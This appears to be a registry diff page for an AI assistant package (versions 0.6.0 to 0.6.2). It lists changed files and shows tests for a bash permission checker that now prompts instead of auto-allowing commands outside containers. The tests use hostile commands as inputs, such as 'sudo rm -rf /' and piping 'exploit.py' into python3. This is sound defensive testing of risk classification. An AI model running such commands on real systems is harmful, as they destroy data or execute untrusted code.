@vellumai/assistant 0.6.0 → 0.6.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (358) hide show
  1. package/AGENTS.md +4 -0
  2. package/ARCHITECTURE.md +68 -15
  3. package/Dockerfile +2 -2
  4. package/bun.lock +6 -2
  5. package/docker-entrypoint.sh +42 -1
  6. package/docs/architecture/integrations.md +1 -1
  7. package/docs/architecture/memory.md +21 -24
  8. package/node_modules/@vellumai/ces-contracts/src/handles.ts +7 -9
  9. package/openapi.yaml +539 -4
  10. package/package.json +5 -1
  11. package/src/__tests__/anthropic-provider.test.ts +160 -95
  12. package/src/__tests__/app-dir-path-guard.test.ts +1 -0
  13. package/src/__tests__/app-executors.test.ts +47 -1
  14. package/src/__tests__/app-source-watcher.test.ts +159 -0
  15. package/src/__tests__/assistant-event-hub.test.ts +30 -0
  16. package/src/__tests__/checker.test.ts +138 -172
  17. package/src/__tests__/cli-command-risk-guard.test.ts +1 -1
  18. package/src/__tests__/config-schema.test.ts +5 -0
  19. package/src/__tests__/context-overflow-approval.test.ts +5 -5
  20. package/src/__tests__/conversation-agent-loop-overflow.test.ts +4 -6
  21. package/src/__tests__/conversation-agent-loop.test.ts +4 -51
  22. package/src/__tests__/conversation-analysis-routes.test.ts +169 -0
  23. package/src/__tests__/conversation-directories-parse.test.ts +105 -0
  24. package/src/__tests__/conversation-history-web-search.test.ts +1 -1
  25. package/src/__tests__/conversation-runtime-assembly.test.ts +653 -832
  26. package/src/__tests__/conversation-runtime-workspace.test.ts +1 -93
  27. package/src/__tests__/conversation-tool-setup-app-refresh.test.ts +17 -4
  28. package/src/__tests__/conversation-wipe.test.ts +2 -6
  29. package/src/__tests__/conversation-workspace-cache-state.test.ts +6 -12
  30. package/src/__tests__/conversation-workspace-injection.test.ts +25 -26
  31. package/src/__tests__/conversation-workspace-tool-tracking.test.ts +1 -1
  32. package/src/__tests__/copy-composer-tc-templates.test.ts +335 -0
  33. package/src/__tests__/credential-execution-approval-bridge.test.ts +0 -2
  34. package/src/__tests__/date-context.test.ts +76 -210
  35. package/src/__tests__/db-schedule-syntax-migration.test.ts +16 -1
  36. package/src/__tests__/file-list-tool.test.ts +219 -0
  37. package/src/__tests__/first-greeting.test.ts +1 -1
  38. package/src/__tests__/heartbeat-service.test.ts +180 -3
  39. package/src/__tests__/identity-routes.test.ts +328 -0
  40. package/src/__tests__/init-feature-flag-overrides.test.ts +167 -0
  41. package/src/__tests__/injection-block.test.ts +24 -0
  42. package/src/__tests__/inline-command-runner.test.ts +7 -5
  43. package/src/__tests__/install-skill-routing.test.ts +7 -6
  44. package/src/__tests__/jobs-store-qdrant-breaker.test.ts +15 -14
  45. package/src/__tests__/list-messages-tool-merge.test.ts +300 -0
  46. package/src/__tests__/llm-context-normalization.test.ts +18 -18
  47. package/src/__tests__/llm-context-route-provider.test.ts +101 -0
  48. package/src/__tests__/llm-request-log-turn-query.test.ts +162 -0
  49. package/src/__tests__/log-export-workspace.test.ts +257 -100
  50. package/src/__tests__/managed-credential-catalog-cli.test.ts +12 -14
  51. package/src/__tests__/mcp-abort-signal.test.ts +5 -0
  52. package/src/__tests__/mcp-client-auth.test.ts +5 -0
  53. package/src/__tests__/memory-recall-log-store.test.ts +132 -0
  54. package/src/__tests__/migration-export-streaming.test.ts +304 -0
  55. package/src/__tests__/migration-import-commit-http.test.ts +11 -10
  56. package/src/__tests__/mock-fetch.ts +87 -0
  57. package/src/__tests__/navigate-settings-tab.test.ts +14 -1
  58. package/src/__tests__/notification-broadcaster.test.ts +65 -0
  59. package/src/__tests__/notification-decision-recipient-context.test.ts +282 -0
  60. package/src/__tests__/onboarding-template-contract.test.ts +63 -14
  61. package/src/__tests__/parser.test.ts +32 -0
  62. package/src/__tests__/permission-checker-host-gate.test.ts +452 -0
  63. package/src/__tests__/permission-controls-v2-flag.test.ts +55 -0
  64. package/src/__tests__/permission-mode-sse.test.ts +418 -0
  65. package/src/__tests__/permission-mode-store.test.ts +277 -0
  66. package/src/__tests__/permission-mode.test.ts +101 -0
  67. package/src/__tests__/pkb-autoinject.test.ts +96 -0
  68. package/src/__tests__/platform-bash-auto-approve.test.ts +359 -0
  69. package/src/__tests__/profiler-routes.test.ts +502 -0
  70. package/src/__tests__/profiler-run-store.test.ts +441 -0
  71. package/src/__tests__/proxy-approval-callback.test.ts +4 -75
  72. package/src/__tests__/registry.test.ts +1 -1
  73. package/src/__tests__/require-fresh-approval.test.ts +0 -2
  74. package/src/__tests__/sandbox-diagnostics.test.ts +1 -32
  75. package/src/__tests__/sandbox-host-parity.test.ts +5 -4
  76. package/src/__tests__/scheduler-reuse-conversation.test.ts +368 -0
  77. package/src/__tests__/scrub-corrupted-image-attachments.test.ts +278 -0
  78. package/src/__tests__/search-skills-unified.test.ts +4 -3
  79. package/src/__tests__/send-endpoint-busy.test.ts +42 -3
  80. package/src/__tests__/set-permission-mode.test.ts +274 -0
  81. package/src/__tests__/skill-load-feature-flag.test.ts +12 -0
  82. package/src/__tests__/skill-memory.test.ts +2 -783
  83. package/src/__tests__/strip-memory-injections.test.ts +187 -0
  84. package/src/__tests__/subagent-detail.test.ts +84 -0
  85. package/src/__tests__/subagent-disposal.test.ts +308 -0
  86. package/src/__tests__/subagent-manager-notify.test.ts +19 -10
  87. package/src/__tests__/subagent-notify-parent.test.ts +390 -0
  88. package/src/__tests__/subagent-role-registry.test.ts +108 -0
  89. package/src/__tests__/subagent-tool-filtering.test.ts +71 -0
  90. package/src/__tests__/subagent-tools.test.ts +464 -4
  91. package/src/__tests__/system-prompt-ask-mode.test.ts +139 -0
  92. package/src/__tests__/task-memory-cleanup.test.ts +12 -12
  93. package/src/__tests__/terminal-sandbox.test.ts +1 -1
  94. package/src/__tests__/terminal-tools.test.ts +16 -29
  95. package/src/__tests__/test-preload.ts +18 -0
  96. package/src/__tests__/tool-domain-event-publisher.test.ts +0 -1
  97. package/src/__tests__/tool-executor-lifecycle-events.test.ts +1 -8
  98. package/src/__tests__/tool-executor.test.ts +4 -27
  99. package/src/__tests__/tool-side-effects-slack-dm.test.ts +1 -0
  100. package/src/__tests__/top-level-renderer.test.ts +10 -13
  101. package/src/__tests__/transport-hints-queue.test.ts +77 -0
  102. package/src/__tests__/trust-store.test.ts +4 -4
  103. package/src/__tests__/trusted-contact-lifecycle-notifications.test.ts +116 -2
  104. package/src/__tests__/workspace-migration-028-recover-conversations-from-disk-view.test.ts +387 -0
  105. package/src/__tests__/workspace-migration-030-seed-pkb-autoinject.test.ts +168 -0
  106. package/src/__tests__/workspace-policy.test.ts +2 -7
  107. package/src/agent/loop.ts +6 -29
  108. package/src/approvals/guardian-request-resolvers.ts +24 -0
  109. package/src/avatar/traits-png-sync.ts +3 -3
  110. package/src/channels/types.ts +5 -0
  111. package/src/cli/__tests__/run-assistant-command.ts +56 -0
  112. package/src/cli/__tests__/unknown-command.test.ts +33 -0
  113. package/src/cli/commands/__tests__/email-download.test.ts +245 -0
  114. package/src/cli/commands/__tests__/email-list.test.ts +192 -0
  115. package/src/cli/commands/__tests__/email-register.test.ts +186 -0
  116. package/src/cli/commands/__tests__/email-send.test.ts +291 -0
  117. package/src/cli/commands/__tests__/email-status.test.ts +181 -0
  118. package/src/cli/commands/__tests__/email-unregister.test.ts +139 -0
  119. package/src/cli/commands/__tests__/routes.test.ts +562 -0
  120. package/src/cli/commands/conversations.ts +1 -8
  121. package/src/cli/commands/default-action.ts +68 -1
  122. package/src/cli/commands/email.ts +584 -835
  123. package/src/cli/commands/memory.ts +1 -34
  124. package/src/cli/commands/notifications.ts +7 -2
  125. package/src/cli/commands/oauth/__tests__/connect.test.ts +27 -0
  126. package/src/cli/commands/oauth/connect.ts +25 -5
  127. package/src/cli/commands/platform/__tests__/connect.test.ts +1 -1
  128. package/src/cli/commands/platform/__tests__/disconnect.test.ts +1 -1
  129. package/src/cli/commands/platform/__tests__/status.test.ts +1 -1
  130. package/src/cli/commands/routes.ts +396 -0
  131. package/src/cli/commands/skills.ts +130 -20
  132. package/src/cli/program.ts +11 -2
  133. package/src/cli.ts +1 -120
  134. package/src/config/assistant-feature-flags.ts +59 -55
  135. package/src/config/bundled-skills/app-builder/SKILL.md +91 -5
  136. package/src/config/bundled-skills/gmail/SKILL.md +13 -8
  137. package/src/config/bundled-skills/gmail/TOOLS.json +1 -1
  138. package/src/config/bundled-skills/gmail/tools/gmail-sender-digest.ts +2 -1
  139. package/src/config/bundled-skills/messaging/SKILL.md +7 -0
  140. package/src/config/bundled-skills/schedule/SKILL.md +22 -2
  141. package/src/config/bundled-skills/schedule/TOOLS.json +8 -0
  142. package/src/config/bundled-skills/settings/TOOLS.json +1 -1
  143. package/src/config/bundled-skills/settings/tools/avatar-get.ts +3 -13
  144. package/src/config/bundled-skills/settings/tools/avatar-remove.ts +2 -4
  145. package/src/config/bundled-skills/settings/tools/avatar-update.ts +5 -2
  146. package/src/config/bundled-skills/settings/tools/navigate-settings-tab.ts +8 -3
  147. package/src/config/bundled-skills/slack/SKILL.md +2 -0
  148. package/src/config/bundled-skills/subagent/SKILL.md +43 -3
  149. package/src/config/bundled-skills/subagent/TOOLS.json +29 -4
  150. package/src/config/env-registry.ts +63 -0
  151. package/src/config/feature-flag-registry.json +17 -1
  152. package/src/config/schema.ts +8 -0
  153. package/src/config/schemas/filing.ts +51 -0
  154. package/src/config/schemas/heartbeat.ts +15 -12
  155. package/src/config/schemas/memory-lifecycle.ts +12 -0
  156. package/src/config/schemas/security.ts +14 -0
  157. package/src/config/schemas/services.ts +8 -0
  158. package/src/credential-execution/approval-bridge.ts +0 -1
  159. package/src/credential-execution/managed-catalog.ts +3 -7
  160. package/src/daemon/app-source-watcher.ts +93 -0
  161. package/src/daemon/config-watcher.ts +85 -3
  162. package/src/daemon/context-overflow-approval.ts +0 -1
  163. package/src/daemon/conversation-agent-loop-handlers.ts +20 -0
  164. package/src/daemon/conversation-agent-loop.ts +179 -65
  165. package/src/daemon/conversation-attachments.ts +0 -1
  166. package/src/daemon/conversation-history.ts +4 -19
  167. package/src/daemon/conversation-lifecycle.ts +8 -14
  168. package/src/daemon/conversation-messaging.ts +3 -0
  169. package/src/daemon/conversation-process.ts +30 -8
  170. package/src/daemon/conversation-queue-manager.ts +8 -0
  171. package/src/daemon/conversation-runtime-assembly.ts +359 -308
  172. package/src/daemon/conversation-surfaces.ts +65 -0
  173. package/src/daemon/conversation-tool-setup.ts +44 -17
  174. package/src/daemon/conversation-workspace.ts +1 -2
  175. package/src/daemon/conversation.ts +19 -3
  176. package/src/daemon/date-context.ts +26 -53
  177. package/src/daemon/first-greeting.ts +1 -1
  178. package/src/daemon/handlers/conversations.ts +5 -7
  179. package/src/daemon/handlers/shared.test.ts +143 -0
  180. package/src/daemon/handlers/shared.ts +70 -5
  181. package/src/daemon/handlers/skills.ts +11 -18
  182. package/src/daemon/lifecycle.ts +220 -158
  183. package/src/daemon/message-types/conversations.ts +29 -6
  184. package/src/daemon/message-types/messages.ts +9 -2
  185. package/src/daemon/message-types/notifications.ts +12 -0
  186. package/src/daemon/message-types/schedules.ts +1 -0
  187. package/src/daemon/message-types/settings.ts +18 -0
  188. package/src/daemon/profiler-run-store.ts +557 -0
  189. package/src/daemon/server.ts +87 -10
  190. package/src/daemon/shutdown-handlers.ts +5 -0
  191. package/src/daemon/tool-side-effects.ts +23 -3
  192. package/src/daemon/transport-hints.ts +33 -0
  193. package/src/export/transcript-formatter.ts +148 -0
  194. package/src/filing/filing-service.ts +228 -0
  195. package/src/heartbeat/heartbeat-service.ts +96 -7
  196. package/src/index.ts +1 -1
  197. package/src/mcp/client.ts +6 -0
  198. package/src/mcp/mcp-oauth-provider.ts +149 -27
  199. package/src/memory/admin.ts +33 -32
  200. package/src/memory/app-store.ts +69 -0
  201. package/src/memory/conversation-bootstrap.ts +1 -1
  202. package/src/memory/conversation-crud.ts +151 -117
  203. package/src/memory/conversation-directories.ts +39 -0
  204. package/src/memory/conversation-group-migration.ts +66 -6
  205. package/src/memory/conversation-queries.ts +58 -12
  206. package/src/memory/conversation-title-service.ts +1 -0
  207. package/src/memory/db-init.ts +182 -376
  208. package/src/memory/embedding-local.ts +1 -1
  209. package/src/memory/graph/bootstrap.ts +75 -66
  210. package/src/memory/graph/capability-seed.ts +167 -17
  211. package/src/memory/graph/consolidation.ts +38 -4
  212. package/src/memory/graph/conversation-graph-memory.ts +133 -104
  213. package/src/memory/graph/extraction-job.ts +9 -4
  214. package/src/memory/graph/extraction.ts +66 -23
  215. package/src/memory/graph/graph-memory-state-store.ts +37 -0
  216. package/src/memory/graph/graph-search.ts +29 -15
  217. package/src/memory/graph/injection.ts +38 -8
  218. package/src/memory/graph/inspect.ts +12 -3
  219. package/src/memory/graph/retriever.ts +365 -262
  220. package/src/memory/graph/store.test.ts +48 -0
  221. package/src/memory/graph/store.ts +150 -11
  222. package/src/memory/graph/tool-handlers.ts +84 -209
  223. package/src/memory/graph/tools.ts +8 -52
  224. package/src/memory/graph/types.ts +24 -0
  225. package/src/memory/group-crud.ts +25 -9
  226. package/src/memory/job-handlers/cleanup.ts +44 -1
  227. package/src/memory/jobs-store.ts +70 -60
  228. package/src/memory/jobs-worker.ts +44 -28
  229. package/src/memory/llm-request-log-store.ts +96 -12
  230. package/src/memory/memory-recall-log-store.ts +49 -5
  231. package/src/memory/migrations/203-drop-memory-items-tables.ts +33 -1
  232. package/src/memory/migrations/206-memory-graph-node-edits.ts +19 -0
  233. package/src/memory/migrations/206-scrub-corrupted-image-attachments.ts +131 -0
  234. package/src/memory/migrations/207-conversation-graph-memory-state.ts +20 -0
  235. package/src/memory/migrations/208-conversations-last-message-at.ts +35 -0
  236. package/src/memory/migrations/209-strip-thinking-from-consolidated.ts +85 -0
  237. package/src/memory/migrations/210-schedule-reuse-conversation.ts +13 -0
  238. package/src/memory/migrations/211-memory-recall-logs-query-context.ts +21 -0
  239. package/src/memory/migrations/212-llm-request-logs-created-at-index.ts +19 -0
  240. package/src/memory/migrations/index.ts +8 -0
  241. package/src/memory/migrations/registry.ts +8 -0
  242. package/src/memory/schema/conversations.ts +14 -0
  243. package/src/memory/schema/infrastructure.ts +8 -1
  244. package/src/memory/schema/memory-core.ts +0 -51
  245. package/src/memory/schema/memory-graph.ts +15 -0
  246. package/src/memory/task-memory-cleanup.ts +30 -11
  247. package/src/messaging/provider.ts +1 -1
  248. package/src/notifications/broadcaster.ts +6 -0
  249. package/src/notifications/conversation-pairing.ts +12 -4
  250. package/src/notifications/copy-composer.ts +86 -0
  251. package/src/notifications/decision-engine.ts +35 -0
  252. package/src/notifications/emit-signal.ts +14 -0
  253. package/src/notifications/signal.ts +11 -0
  254. package/src/oauth/platform-connection.test.ts +2 -2
  255. package/src/oauth/seed-providers.ts +1 -0
  256. package/src/permissions/checker.ts +15 -4
  257. package/src/permissions/defaults.ts +7 -8
  258. package/src/permissions/permission-mode-store.ts +180 -0
  259. package/src/permissions/permission-mode.ts +31 -0
  260. package/src/permissions/prompter.ts +0 -2
  261. package/src/permissions/workspace-policy.ts +9 -0
  262. package/src/platform/client.ts +1 -1
  263. package/src/prompts/system-prompt.ts +59 -7
  264. package/src/prompts/templates/BOOTSTRAP-REFERENCE.md +100 -0
  265. package/src/prompts/templates/BOOTSTRAP.md +76 -162
  266. package/src/prompts/templates/HEARTBEAT.md +3 -1
  267. package/src/prompts/templates/SOUL.md +30 -9
  268. package/src/prompts/templates/UPDATES.md +8 -0
  269. package/src/providers/anthropic/client.ts +107 -219
  270. package/src/runtime/assistant-event-hub.ts +22 -0
  271. package/src/runtime/auth/route-policy.ts +23 -0
  272. package/src/runtime/auth/token-service.ts +8 -0
  273. package/src/runtime/http-server.ts +32 -2
  274. package/src/runtime/http-types.ts +12 -1
  275. package/src/runtime/migrations/vbundle-builder.ts +389 -3
  276. package/src/runtime/migrations/vbundle-importer.ts +8 -6
  277. package/src/runtime/routes/__tests__/user-route-dispatcher.test.ts +378 -0
  278. package/src/runtime/routes/app-management-routes.ts +1 -11
  279. package/src/runtime/routes/approval-strategies/guardian-callback-strategy.ts +26 -0
  280. package/src/runtime/routes/archive-utils.ts +29 -0
  281. package/src/runtime/routes/avatar-routes.ts +2 -9
  282. package/src/runtime/routes/btw-routes.ts +14 -1
  283. package/src/runtime/routes/conversation-analysis-routes.ts +185 -0
  284. package/src/runtime/routes/conversation-management-routes.ts +1 -14
  285. package/src/runtime/routes/conversation-query-routes.ts +49 -3
  286. package/src/runtime/routes/conversation-routes.ts +270 -44
  287. package/src/runtime/routes/group-routes.ts +22 -8
  288. package/src/runtime/routes/heartbeat-routes.ts +4 -10
  289. package/src/runtime/routes/identity-routes.ts +53 -18
  290. package/src/runtime/routes/llm-context-normalization.ts +14 -10
  291. package/src/runtime/routes/log-export/AGENTS.md +104 -0
  292. package/src/runtime/routes/log-export/__tests__/workspace-allowlist-error-contract.test.ts +103 -0
  293. package/src/runtime/routes/log-export/__tests__/workspace-allowlist.test.ts +716 -0
  294. package/src/runtime/routes/log-export/workspace-allowlist.ts +458 -0
  295. package/src/runtime/routes/log-export-routes.ts +41 -278
  296. package/src/runtime/routes/memory-item-routes.test.ts +168 -233
  297. package/src/runtime/routes/migration-routes.ts +18 -7
  298. package/src/runtime/routes/profiler-routes.ts +350 -0
  299. package/src/runtime/routes/schedule-routes.ts +27 -12
  300. package/src/runtime/routes/settings-routes.ts +95 -8
  301. package/src/runtime/routes/subagents-routes.ts +28 -7
  302. package/src/runtime/routes/user-route-dispatcher.ts +223 -0
  303. package/src/runtime/routes/user-routes.ts +41 -0
  304. package/src/runtime/routes/workspace-routes.ts +0 -1
  305. package/src/schedule/schedule-store.ts +30 -0
  306. package/src/schedule/scheduler.ts +45 -18
  307. package/src/skills/catalog-install.ts +10 -2
  308. package/src/skills/inline-command-runner.ts +12 -14
  309. package/src/skills/managed-store.ts +2 -2
  310. package/src/skills/skill-memory.ts +1 -293
  311. package/src/subagent/index.ts +13 -3
  312. package/src/subagent/manager.ts +308 -29
  313. package/src/subagent/types.ts +68 -0
  314. package/src/tasks/task-runner.ts +4 -4
  315. package/src/tools/apps/executors.ts +29 -4
  316. package/src/tools/filesystem/list.ts +93 -0
  317. package/src/tools/permission-checker.ts +78 -18
  318. package/src/tools/registry.ts +4 -0
  319. package/src/tools/schedule/create.ts +3 -0
  320. package/src/tools/schedule/list.ts +1 -0
  321. package/src/tools/schedule/update.ts +6 -0
  322. package/src/tools/secret-detection-handler.ts +0 -1
  323. package/src/tools/shared/filesystem/errors.ts +5 -0
  324. package/src/tools/shared/filesystem/file-ops-service.ts +90 -2
  325. package/src/tools/shared/filesystem/types.ts +17 -0
  326. package/src/tools/shared/shell-output.ts +31 -2
  327. package/src/tools/skills/sandbox-runner.ts +3 -6
  328. package/src/tools/subagent/abort.ts +12 -2
  329. package/src/tools/subagent/message.ts +9 -2
  330. package/src/tools/subagent/notify-parent.ts +79 -0
  331. package/src/tools/subagent/read.ts +29 -8
  332. package/src/tools/subagent/resolve.ts +21 -0
  333. package/src/tools/subagent/spawn.ts +2 -0
  334. package/src/tools/subagent/status.ts +11 -1
  335. package/src/tools/system/avatar-generator.ts +3 -3
  336. package/src/tools/system/register.ts +23 -0
  337. package/src/tools/system/set-permission-mode.ts +103 -0
  338. package/src/tools/terminal/parser.ts +30 -5
  339. package/src/tools/terminal/safe-env.ts +16 -1
  340. package/src/tools/terminal/sandbox-diagnostics.ts +4 -4
  341. package/src/tools/terminal/sandbox.ts +4 -1
  342. package/src/tools/terminal/shell.ts +3 -5
  343. package/src/tools/tool-manifest.ts +6 -0
  344. package/src/tools/types.ts +2 -3
  345. package/src/util/logger.ts +1 -1
  346. package/src/util/platform.ts +50 -17
  347. package/src/watcher/provider-types.ts +1 -1
  348. package/src/workspace/migrations/023-move-config-files-to-workspace.ts +2 -2
  349. package/src/workspace/migrations/024-move-runtime-files-to-workspace.ts +2 -2
  350. package/src/workspace/migrations/028-recover-conversations-from-disk-view.ts +270 -0
  351. package/src/workspace/migrations/029-seed-pkb.ts +85 -0
  352. package/src/workspace/migrations/030-seed-pkb-autoinject.ts +73 -0
  353. package/src/workspace/migrations/registry.ts +6 -0
  354. package/src/workspace/top-level-renderer.ts +5 -9
  355. package/src/__tests__/cli-memory.test.ts +0 -377
  356. package/src/__tests__/clipboard.test.ts +0 -88
  357. package/src/cli/cli-memory.ts +0 -179
  358. package/src/util/clipboard.ts +0 -34
@@ -48,14 +48,12 @@ mock.module("../util/logger.js", () => ({
48
48
  interface TestConfig {
49
49
  permissions: { mode: "strict" | "workspace" };
50
50
  skills: { load: { extraDirs: string[] } };
51
- sandbox: { enabled: boolean };
52
51
  [key: string]: unknown;
53
52
  }
54
53
 
55
54
  const testConfig: TestConfig = {
56
55
  permissions: { mode: "workspace" },
57
56
  skills: { load: { extraDirs: [] } },
58
- sandbox: { enabled: true },
59
57
  };
60
58
 
61
59
  mock.module("../config/loader.js", () => ({
@@ -640,49 +638,23 @@ describe("Permission Checker", () => {
640
638
  // ── check (decision logic) ─────────────────────────────────────
641
639
 
642
640
  describe("check", () => {
643
- test("sandbox bash auto-allows all risk levels via default rule", async () => {
644
- // High risk
641
+ test("bash follows risk-based policy (no default allow rule outside container)", async () => {
642
+ // High risk → prompt
645
643
  const high = await check("bash", { command: "sudo rm -rf /" }, "/tmp");
646
- expect(high.decision).toBe("allow");
647
- expect(high.matchedRule?.id).toBe("default:allow-bash-global");
644
+ expect(high.decision).toBe("prompt");
648
645
 
649
- // Medium risk
646
+ // Medium risk → prompt
650
647
  const med = await check(
651
648
  "bash",
652
649
  { command: "curl https://example.com" },
653
650
  "/tmp",
654
651
  );
655
- expect(med.decision).toBe("allow");
656
- expect(med.matchedRule?.id).toBe("default:allow-bash-global");
652
+ expect(med.decision).toBe("prompt");
657
653
 
658
- // Low risk
654
+ // Low risk → auto-allowed via risk-based fallback
659
655
  const low = await check("bash", { command: "ls" }, "/tmp");
660
656
  expect(low.decision).toBe("allow");
661
- expect(low.matchedRule?.id).toBe("default:allow-bash-global");
662
- });
663
-
664
- test("bash prompts when sandbox is disabled (no global allow rule)", async () => {
665
- testConfig.sandbox.enabled = false;
666
- clearCache();
667
- try {
668
- const high = await check("bash", { command: "sudo rm -rf /" }, "/tmp");
669
- expect(high.decision).toBe("prompt");
670
-
671
- const med = await check(
672
- "bash",
673
- { command: "curl https://example.com" },
674
- "/tmp",
675
- );
676
- expect(med.decision).toBe("prompt");
677
-
678
- // Low risk still auto-allows via the normal risk-based fallback
679
- const low = await check("bash", { command: "ls" }, "/tmp");
680
- expect(low.decision).toBe("allow");
681
- expect(low.reason).toContain("Low risk");
682
- } finally {
683
- testConfig.sandbox.enabled = true;
684
- clearCache();
685
- }
657
+ expect(low.reason).toContain("Low risk");
686
658
  });
687
659
 
688
660
  test("host_bash high risk → always prompt", async () => {
@@ -2337,11 +2309,11 @@ describe("Permission Checker", () => {
2337
2309
  // ── strict mode: no implicit allow (PR 21) ───────────────────
2338
2310
 
2339
2311
  describe("strict mode — no implicit allow (PR 21)", () => {
2340
- test("sandbox bash auto-allows in strict mode (default rule is a matching rule)", async () => {
2312
+ test("bash prompts in strict mode (no default allow rule outside container)", async () => {
2341
2313
  testConfig.permissions.mode = "strict";
2342
2314
  const result = await check("bash", { command: "ls" }, "/tmp");
2343
- expect(result.decision).toBe("allow");
2344
- expect(result.matchedRule?.id).toBe("default:allow-bash-global");
2315
+ expect(result.decision).toBe("prompt");
2316
+ expect(result.reason).toContain("Strict mode");
2345
2317
  });
2346
2318
 
2347
2319
  test("host_bash prompts low risk in strict mode (default ask rule matches)", async () => {
@@ -2462,10 +2434,9 @@ describe("Permission Checker", () => {
2462
2434
  expect(result.decision).toBe("prompt");
2463
2435
  });
2464
2436
 
2465
- test("sandbox bash auto-allows high-risk via default allowHighRisk rule", async () => {
2437
+ test("bash prompts for high-risk without default allow rule", async () => {
2466
2438
  const result = await check("bash", { command: "sudo rm -rf /" }, "/tmp");
2467
- expect(result.decision).toBe("allow");
2468
- expect(result.matchedRule?.id).toBe("default:allow-bash-global");
2439
+ expect(result.decision).toBe("prompt");
2469
2440
  });
2470
2441
 
2471
2442
  test("medium-risk tool with allow rule is NOT affected by allowHighRisk", async () => {
@@ -3657,11 +3628,11 @@ describe("Permission Checker", () => {
3657
3628
  // explicit matching rule. ──────────────────────────────────────
3658
3629
 
3659
3630
  describe("Invariant 1: strict mode requires explicit matching rule for every tool", () => {
3660
- test("sandbox bash auto-allows in strict mode (default rule matches)", async () => {
3631
+ test("bash prompts in strict mode (no default allow rule outside container)", async () => {
3661
3632
  testConfig.permissions.mode = "strict";
3662
3633
  const result = await check("bash", { command: "echo hello" }, "/tmp");
3663
- expect(result.decision).toBe("allow");
3664
- expect(result.matchedRule?.id).toBe("default:allow-bash-global");
3634
+ expect(result.decision).toBe("prompt");
3635
+ expect(result.reason).toContain("Strict mode");
3665
3636
  });
3666
3637
 
3667
3638
  test("low-risk host_bash prompts in strict mode (default ask rule matches)", async () => {
@@ -3709,15 +3680,14 @@ describe("Permission Checker", () => {
3709
3680
  expect(result.reason).toContain("Strict mode");
3710
3681
  });
3711
3682
 
3712
- test("high-risk sandbox bash auto-allows in strict mode (default allowHighRisk rule)", async () => {
3683
+ test("high-risk bash prompts in strict mode (no default allow rule outside container)", async () => {
3713
3684
  testConfig.permissions.mode = "strict";
3714
3685
  const result = await check(
3715
3686
  "bash",
3716
3687
  { command: "sudo apt update" },
3717
3688
  "/tmp",
3718
3689
  );
3719
- expect(result.decision).toBe("allow");
3720
- expect(result.matchedRule?.id).toBe("default:allow-bash-global");
3690
+ expect(result.decision).toBe("prompt");
3721
3691
  });
3722
3692
 
3723
3693
  test("high-risk host_bash command with no user rule prompts in strict mode", async () => {
@@ -4130,20 +4100,39 @@ describe("Permission Checker", () => {
4130
4100
 
4131
4101
  test("getDefaultRuleTemplates tolerates partial config mocks", () => {
4132
4102
  const originalSkills = testConfig.skills;
4133
- const originalSandbox = testConfig.sandbox;
4134
4103
  try {
4135
4104
  testConfig.skills = {} as any;
4136
- testConfig.sandbox = {} as any;
4137
4105
 
4138
4106
  const templates = getDefaultRuleTemplates();
4139
4107
  expect(Array.isArray(templates)).toBe(true);
4140
4108
  expect(templates.some((t) => t.id.includes("extra-"))).toBe(false);
4109
+ // bash allow rule is conditional on IS_CONTAINERIZED, not present in test env
4141
4110
  expect(
4142
4111
  templates.some((t) => t.id === "default:allow-bash-global"),
4143
- ).toBe(true);
4112
+ ).toBe(false);
4144
4113
  } finally {
4145
4114
  testConfig.skills = originalSkills;
4146
- testConfig.sandbox = originalSandbox;
4115
+ }
4116
+ });
4117
+
4118
+ test("getDefaultRuleTemplates includes bash allow rule when IS_CONTAINERIZED", () => {
4119
+ const orig = process.env.IS_CONTAINERIZED;
4120
+ process.env.IS_CONTAINERIZED = "true";
4121
+ try {
4122
+ const templates = getDefaultRuleTemplates();
4123
+ const bashRule = templates.find(
4124
+ (t) => t.id === "default:allow-bash-global",
4125
+ );
4126
+ expect(bashRule).toBeDefined();
4127
+ expect(bashRule!.tool).toBe("bash");
4128
+ expect(bashRule!.pattern).toBe("**");
4129
+ expect(bashRule!.allowHighRisk).toBe(true);
4130
+ } finally {
4131
+ if (orig === undefined) {
4132
+ delete process.env.IS_CONTAINERIZED;
4133
+ } else {
4134
+ process.env.IS_CONTAINERIZED = orig;
4135
+ }
4147
4136
  }
4148
4137
  });
4149
4138
  });
@@ -4400,22 +4389,58 @@ describe("Permission Checker", () => {
4400
4389
  });
4401
4390
  });
4402
4391
 
4403
- describe("bash network_mode=proxied — no special-casing", () => {
4392
+ describe("bash network_mode=proxied — risk capped at medium", () => {
4404
4393
  beforeEach(() => {
4405
4394
  clearCache();
4406
4395
  testConfig.permissions = { mode: "workspace" };
4407
4396
  testConfig.skills = { load: { extraDirs: [] } };
4408
4397
  });
4409
4398
 
4410
- test("proxied bash follows normal rules (auto-allowed by default rule)", async () => {
4411
- // Proxied bash is no longer force-prompted — the default allow-bash rule
4412
- // auto-allows low/medium risk commands regardless of network_mode.
4399
+ test("proxied bash follows risk-based policy (medium risk prompt outside container)", async () => {
4413
4400
  const result = await check(
4414
4401
  "bash",
4415
4402
  { command: "curl https://api.example.com", network_mode: "proxied" },
4416
4403
  "/tmp",
4417
4404
  );
4418
- expect(result.decision).toBe("allow");
4405
+ // Without the containerized bash allow rule, proxied medium-risk bash prompts
4406
+ expect(result.decision).toBe("prompt");
4407
+ });
4408
+
4409
+ test("proxied bash caps high-risk commands to medium", async () => {
4410
+ // pipe-to-interpreter (stdin exec) is normally High risk, but proxied mode caps at Medium
4411
+ const risk = await classifyRisk("bash", {
4412
+ command: "cat exploit.py | python3",
4413
+ network_mode: "proxied",
4414
+ });
4415
+ expect(risk).toBe(RiskLevel.Medium);
4416
+ });
4417
+
4418
+ test("pipe to python3 -c is not high risk (inline code, not stdin exec)", async () => {
4419
+ const risk = await classifyRisk("bash", {
4420
+ command:
4421
+ 'cat data.json | python3 -c "import sys; print(sys.stdin.read())"',
4422
+ });
4423
+ expect(risk).toBe(RiskLevel.Low);
4424
+ });
4425
+
4426
+ test("pipe to python3 without -c is high risk (stdin exec)", async () => {
4427
+ const risk = await classifyRisk("bash", {
4428
+ command: "cat exploit.py | python3",
4429
+ });
4430
+ expect(risk).toBe(RiskLevel.High);
4431
+ });
4432
+
4433
+ test("proxied bash with high-risk command prompts (medium risk cap, no default allow rule)", async () => {
4434
+ const result = await check(
4435
+ "bash",
4436
+ {
4437
+ command: "cat exploit.py | python3",
4438
+ network_mode: "proxied",
4439
+ },
4440
+ "/tmp",
4441
+ );
4442
